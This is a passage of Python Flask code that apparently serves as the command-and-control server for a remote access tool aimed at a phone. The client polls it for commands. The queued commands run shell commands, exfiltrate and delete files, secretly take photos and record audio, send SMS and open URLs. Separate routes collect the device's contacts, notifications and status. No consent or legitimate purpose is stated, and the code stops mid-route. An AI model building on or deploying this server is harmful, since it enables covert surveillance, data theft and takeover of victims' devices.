from flask import Flask, request, render_template_string, jsonify, send_from_directory, url_for
import os
import datetime
import uuid
import werkzeug.utils
import json
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = 'uploads_from_client'
app.config['FILES_TO_CLIENT_FOLDER'] = 'uploads_to_client'
os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)
os.makedirs(app.config['FILES_TO_CLIENT_FOLDER'], exist_ok=True)
pending_command = None
command_output = "Waiting for client..."
last_client_heartbeat = None
current_client_path = "~"
device_status_info = {}
notifications_history = []
contacts_list = []
HTML_TEMPLATE = """
"""
@app.route('/')
def index():
files = sorted(os.listdir(app.config['UPLOAD_FOLDER']))
return render_template_string(HTML_TEMPLATE, uploaded_files=files)
@app.route('/send_command', methods=['POST'])
def handle_send_command():
global pending_command, command_output
data = request.json
cmd_type = data.get('command_type')
command_payload = {'type': cmd_type}
if cmd_type == 'shell': command_payload['command'] = data.get('command')
elif cmd_type == 'list_files': command_payload['path'] = data.get('path')
elif cmd_type == 'request_download_file': command_payload = {'type': 'upload_to_server', 'filename': data.get('filename')}
elif cmd_type == 'zip_and_upload_dir': command_payload['path'] = data.get('path')
elif cmd_type == 'delete_file': command_payload['filename'] = data.get('filename')
elif cmd_type == 'take_photo': command_payload['camera_id'] = data.get('camera_id')
elif cmd_type == 'record_audio': command_payload['duration'] = data.get('duration')
elif cmd_type == 'clipboard_set': command_payload['text'] = data.get('text')
elif cmd_type == 'open_url': command_payload['url'] = data.get('url')
elif cmd_type == 'send_sms':
command_payload['number'] = data.get('number')
command_payload['text'] = data.get('text')
elif cmd_type == 'tts_speak': command_payload['text'] = data.get('text')
elif cmd_type == 'vibrate': command_payload['duration'] = data.get('duration')
elif cmd_type == 'torch': command_payload['state'] = data.get('state')
elif cmd_type == 'receive_file':
fname = data.get('server_filename')
command_payload['download_url'] = url_for('download_client', filename=fname, _external=True)
command_payload['target_path'] = data.get('target_path_on_device')
command_payload['original_filename'] = fname.split('_', 1)[1] if '_' in fname else fname
pending_command = command_payload
command_output = "Command queued..."
return jsonify({'status': 'queued'})
@app.route('/get_command', methods=['GET'])
def get_command():
global pending_command
if pending_command:
c = pending_command
pending_command = None
return jsonify(c)
return jsonify(None)
@app.route('/submit_client_data', methods=['POST'])
def submit_data():
global command_output, last_client_heartbeat, current_client_path, device_status_info, notifications_history, contacts_list
data = request.json
if not data: return jsonify({'status':'no_data'}), 400
last_client_heartbeat = datetime.datetime.utcnow().isoformat()
if 'output' in data: command_output = data['output']
if 'current_path' in data: current_client_path = data['current_path']
if 'device_status_update' in data: device_status_info = data['device_status_update']
if 'notifications_update' in data: notifications_history = data['notifications_update']
if 'contacts_update' in data: contacts_list = data['contacts_update']
return jsonify({'status': 'ok'})
@app.route('/get_status', methods=['GET'])
def get_status():
return jsonify({
'output': command_output,
'heartbeat': last_client_heartbeat,
'path': current_client_path,
'status': device_status_info,
'notifications': notifications_history,
'contacts': contacts_list
})
@app.route('/upload_from_client', methods=['POST'])
def upload_rx():
f = request.files['file']
if f:
fn = werkzeug.utils.secure_filename(f.filename)
f.save(os.path.join(app.config['UPLOAD_FOLDER'], fn))
return jsonify({'status': 'success'})
return jsonify({'status': 'error'}), 400
@app.route('/uploads_from_client/